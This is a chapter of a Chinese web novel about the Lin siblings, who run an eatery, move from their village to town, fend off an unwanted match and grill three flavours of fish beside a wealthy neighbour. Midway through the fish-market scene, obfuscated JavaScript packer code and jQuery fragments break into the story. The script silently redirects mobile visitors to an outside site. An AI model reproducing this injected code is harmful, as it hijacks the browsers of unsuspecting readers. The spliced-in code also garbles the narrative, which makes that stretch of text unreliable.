酉时末，最后一桌客人结账离去，食肆里终于安静下来。


    素娘和赵娘子合力端出两大盘红烧猪肘子，琥珀色的酱汁裹着油亮的肉皮，蒸腾的热气中混着大料浓郁的辛香，还未放到桌上，站在一旁的阿柱就狠狠吸了口气：“乖乖！这香味能飘到三条街外去！”


    林崧踮着脚扒着桌沿：“二姐我要吃皮！”


    “小馋猫。”林窈捏了捏他胖嘟嘟的小脸，用筷子挑开颤巍巍的肉皮，一块Q弹软糯的猪皮被林窈扒了下来，浓油赤酱的表皮带着满满的胶质，看得林崧咽了咽口水，“烫，一会再吃。”


    林诚虽吃过小妹做的红烧猪蹄，却从未见过这般硕大的肘子，肥厚的肉块堆叠着，酱汁顺着沟壑缓缓流淌，光是看着就叫人食指大动。


    “都别客气！”林窈夹起块带骨的肉，筷子轻轻一夹，酥烂的肉块便脱骨而出，“今儿敞开了吃！”


    阿福早就按捺不住，见掌柜的动筷，他也夹了一块带皮的肉，软糯的胶质在齿间化开，甜咸交织的酱汁迸发开来，在这里做工的几日里吃的东西，比他这辈子吃过的加起来都要好。


    林诚挑的是块肥瘦相间的部分，入口时，肉香混着黄酒的醇香在舌尖散开，炖煮得恰到好处的肉质软而不烂。


    酒足饭饱后，暮色已浓。林窈兄妹趁着月色往家赶。乡间小路坑坑洼洼，林崧趴在林窈腿上呼呼大睡，嘴里还嘟囔着猪肘子，惹得林窈伸手戳了戳他日渐圆润的小肚子。


    回到家，林窈把林崧放到床上，便开始收拾。这次搬家主要是把她做的那些调料和各自的必需品带走即可，剩下的床铺被褥到镇上买新的便是。她把灶房柜子里装着五香粉和大蒜粉的陶罐捧出来，掂了掂重量，怎么轻飘飘的？


    林窈打开罐子一看，原本应该还有大半调料的罐子，如今竟只剩下一丢丢。


    “阿兄，你最近用了很多五香粉和大蒜粉吗？”林窈转头问道。


    林诚正收拾着几件旧衣裳，闻言抬头：“没有啊，都是按照你说的量用的。”


    林窈盯着罐子，心里疑惑，但想到新店开业后生意繁忙，或许真是自己疏忽了用量，便没再多想，只是将剩下的调料重新封好，放进特意准备的木箱里，“可能是我记错了。”


    收拾完调料，林窈又开始整理一些简单的衣物和日常用品。虽说要搬到镇上，但村里的家始终是个根，逢年过节还要回来住的。更何况，如今世道不太平，风雨飘摇的朝代，谁也说不准哪天就会生出变故。如果日后真的打起仗来，越是繁华的地方，越是危险，留着这个家，也算是给自己留条退路。


    ~


    次日清晨，刘大壮和梁氏扛着扁担来帮忙时，林窈正往林崧的小书包装他的玩具。


    梁氏一看到林窈就拉着她的手，“好孩子，你是个有本事的，你们可是我们村里第一个搬到镇上的哩。”说着眼眶突然红了，“搬走了就是不能时时看到你们了。”


    刘大壮看媳妇红了眼，插了一嘴，“镇上离得又不远，怎么整得跟再也见不到了似的。”


    被刘大壮这一打岔，梁氏立马收了眼泪，一脚踹到了刘大壮的小腿上，“呸呸呸，狗嘴里吐不出象牙，净说些乱七八糟的。”


    刘大壮在一旁重重地咳了两声，把扁担往肩上一扛：“是是是，我不会说话，阿窈的好日子在后头呢！”


    村里渐渐热闹起来，隔壁张大爷早早地就听到林家二房这边的声音，走出来看见门外堆着的铺盖卷：“阿窈，你们这是要搬到镇上去住？”


    林窈擦着汗直起腰，“是哩，食肆生意忙，来回跑耽搁功夫。”


    林有功到的时候，林家二房门前已经站了好些人，都是听说林家要搬到镇上，来凑热闹的，他刚挤进院门就听到了林诚说的话，由衷为他们开心：“今儿来的人真不少，都来送送咱们村的大掌柜！”


    林窈这才发现，不知何时院门口站满了婶子大娘，有的怀里抱着自家腌的咸菜，有的手里提着刚摘的豆角，都要往他们的驴车上放。


    住在村头的李婶子打量了几眼在一旁闷头收拾东西的林诚，忙拉过自家的姑娘，“诚哥儿，这是你可儿妹妹，你们小时候还一起玩呢！”


    孙可儿被母亲扯着胳膊往前推了半步，她可是十里八村最好看的姑娘，今日她特意在鬓别了朵刚摘的野花，还戴了对银豆子耳坠，随着动作轻轻摇晃，衬得整个人十分水灵。


    林窈和林诚对视一眼，林诚有点难为情，一时无言。


    明眼人一看就知道李婶子打的什么算盘，只是林诚不好开口，免得下了姑娘的面子，叫她被人嘲笑，他求救地看向梁氏，梁氏立刻接收到信号，“可儿真是越长越水灵，我瞧着也是喜欢得紧，可惜我家的小子太小了，不然指定要上门求亲。”


    黎氏听到梁氏这么说，打趣道：“你家的娃娃才刚会走，你就相看起儿媳妇了？真是没个正形。”


    俩人打着哈哈，这事儿就被俩人糊弄过去了，只是孙可儿哪里感受不到林诚的拒绝。


    孙可儿指尖狠狠攥住袖口，她盯着继续埋头收拾东西的林诚，想起娘亲昨夜和她念叨的话：“林家那小子虽木讷些，可架不住妹子能干啊，如今在镇上开了食肆，往后保准越过越好，等他那妹子出嫁，这房子、食肆不都是他的，你嫁过去就是享福的命。”


    她没把娘亲的话放在心上，林诚就算再怎么有出息，也是个泥腿子出身，她将要是要嫁给读书人，做秀才娘子的，这种人哪里配得上她。


    可此刻，看着驴车上堆满的木箱陶罐和满满当当的瓜果蔬菜，孙可儿觉得这口气，她咽不下。


    林诚见关注点不在自己的身上了，就回到院子里继续收拾剩下的行李。


    孙可儿见他看都不看自己就走了，拿过母亲手里的乔迁礼，跟着林诚进了院子。她把礼物递给林诚后，用只有两人能听见的声音说：“不过是个泥腿子出身，一家子的破落户，真当自己是回事了？”


    林诚的脸当即就黑了，梁氏眼尖地瞧见这幕，横插进两人中间，用胳膊肘顶了顶林诚：“还愣着干嘛？去把西屋的木箱搬出来！”


    收拾妥当后，驴车满载着家什晃晃悠悠往镇上驶去。林窈看着越来越小的房子，直到看不到了，才收回了自己的视线。


    到了新家，众人七手八脚将物件搬下车，林诚主动留下来收拾，擦拭桌椅，归置新屋。


    林窈和刘大壮、梁氏赶着驴车直奔集市。


    到了布庄，林窈掀开布帘，里头摆满了各色成品被褥。梁氏眼尖，一眼就瞧见靠墙处叠放的几床棉被，赶忙拉着林窈过去：“你瞧这床！”


    布庄老板介绍，“这床是新弹的棉花，保暖得很。”


    林窈挑了两床藏青色的棉被，耐脏又实用，又选了两张褥子，柔软厚实。梁氏在一旁帮忙检查针脚，还特意捏了捏被角，确认棉花填充得均匀，这才满意地点头。


    买完床铺被褥，他们又匆匆赶往铁匠铺。


    叶铁匠老远瞧见林窈，从屋里搬出打好的铁板：“林小娘子，这十个烤盘提前打好了，都给你做得结结实实的！”


    林窈仔细查看，铁板做工精细，木把手打磨得光滑圆润，满意地付了钱。


    最后，三人来到了卖鱼的摊子前，木盆里，河鱼活蹦乱跳。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632946|164423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林窈挑了三条肥美的草鱼，准备今天把剩下三个口味的烤鱼都做了，顺便看看刘大壮和梁氏的评价如何。


    回到新家时，林诚已将院子打扫干净，柿子树下还支起了简易的烤架。


    林窈将在草鱼的背部划上几刀，撒上细盐和料酒腌制去腥，林诚在一旁的早已生好炭火，烤架上的铁板被烧得发烫，滋滋冒起热气。


    林窈将茱萸果对半切开，露出里头的籽实，混着泡发的酸梅肉一起捣烂，调成糊状。


    铁板烧得冒烟时，她舀了勺猪油化开，油花滋滋作响间将鱼放上，鱼皮迅速蜷曲成焦黄色。


    待鱼肉微熟，她将茱萸酸梅酱均匀涂抹在鱼身两侧，酱色顺着刀纹渗进肌理，炭火烘烤下，酸梅的果酸与茱萸的辛辣融合，形成一层红亮的薄壳。


    梁氏凑近闻了闻，忍不住揉鼻子：“光是闻着就酸掉牙了！”


    另外两块铁板上，林窈用同样的方式把鱼的两面煎至金黄。她取来陶罐里的茱萸粉，用熟油调成糊状，均匀涂抹在鱼皮上。磨成粉末的茱萸辛辣味更甚。随着油脂渗入鱼肉，铁板边缘泛起细密的油泡，茱萸的辛香裹着焦香扑面而来，刘大壮被呛得直揉眼睛。


    最后一条烤鱼要做成蒜香味的，林窈把大蒜粉涂抹在鱼身腌制。又取出两头大蒜在石臼捣成泥，辛辣的气息渐渐漫出来。林窈往蒜泥里倒入两勺香油，将三分之二的蒜泥倒入铁板中，蒜末在油中迅速膨胀成金黄的酥粒，最后放入烤好的草鱼，蒜香扑鼻。


    林窈将烤得金黄焦香的三条鱼端上桌，酸香与辛烈交织的气味瞬间在院子里弥漫开来。刘大壮搓着手，迫不及待夹起一筷子酸辣烤鱼，雪白的鱼肉裹着红亮的酱汁，一入口就酸得打了个颤，五官皱成一团：“这酸味冲得我后槽牙都发颤！” 他灌了口凉茶，还是被酸得直咧嘴，“太酸太酸，牙都要倒了！”


    倒是梁氏出乎林窈意料，刚刚做的时候梁氏觉得酸，做好了之后，她尝了一口后就停不下来了：“我倒觉着正好！酸得鲜哩！”


    林窈盯着两人截然不同的反应，觉得不如就分个“微酸”和“激酸”！照顾不同人的口味，喜酸的整个直冲鼻腔的“激酸”，不耐酸的就来个柔和酸甜。


    隔壁院子。


    金玉正苦着一张脸喝白粥，忽然一股浓郁的又酸又辣香气飘来，勾得人腹中馋虫直动，他抽了抽鼻子，手中的白粥显得更加索然无味，“好香啊！郎君，你闻到了吗？”


    自从昨天晚饭金玉在他面前吃香的喝辣的之后，许之珩就以金玉如今太胖了为由，行使了他主子的权力，强制金玉和他同吃同喝，他无视了金玉的问题，管他香的臭的，在他痊愈前，都只能喝粥，“食不言。”


    林窈和林诚送走刘大壮一家后，正要关门，便听见斜前方的大院开门的声音。兄妹俩都默契地没有关门，杨牙人说，这户人家的老爷是京城的大官，两人抬眼一看，只见金玉背着剑囊跨出门槛，金玉也看到了兄妹二人，三人皆是一愣。


    短暂的惊讶过后，金玉面露欣喜，“林小娘子搬家了？”他刚刚闻着附近院子飘来的香气喝了三海碗白粥，原以为是附近的那家请了厨子来做饭，没想到竟然是林窈搬到这条巷子里了，“今晚做了什么好菜，我在院子里都闻到了。”


    林窈：“是明天要卖的风味烤鱼，有酸辣、香辣、蒜香和紫苏口味，金玉小哥和许公子明日来捧捧场？”


    金玉当然是一百个愿意，留在府里他只有喝白粥的份，他脑袋一转，“郎君这几日太忙了，未必得空，不过我倒是有空。”


    林窈笑了笑，“那敢情好，明日定不会叫金玉小哥失望。”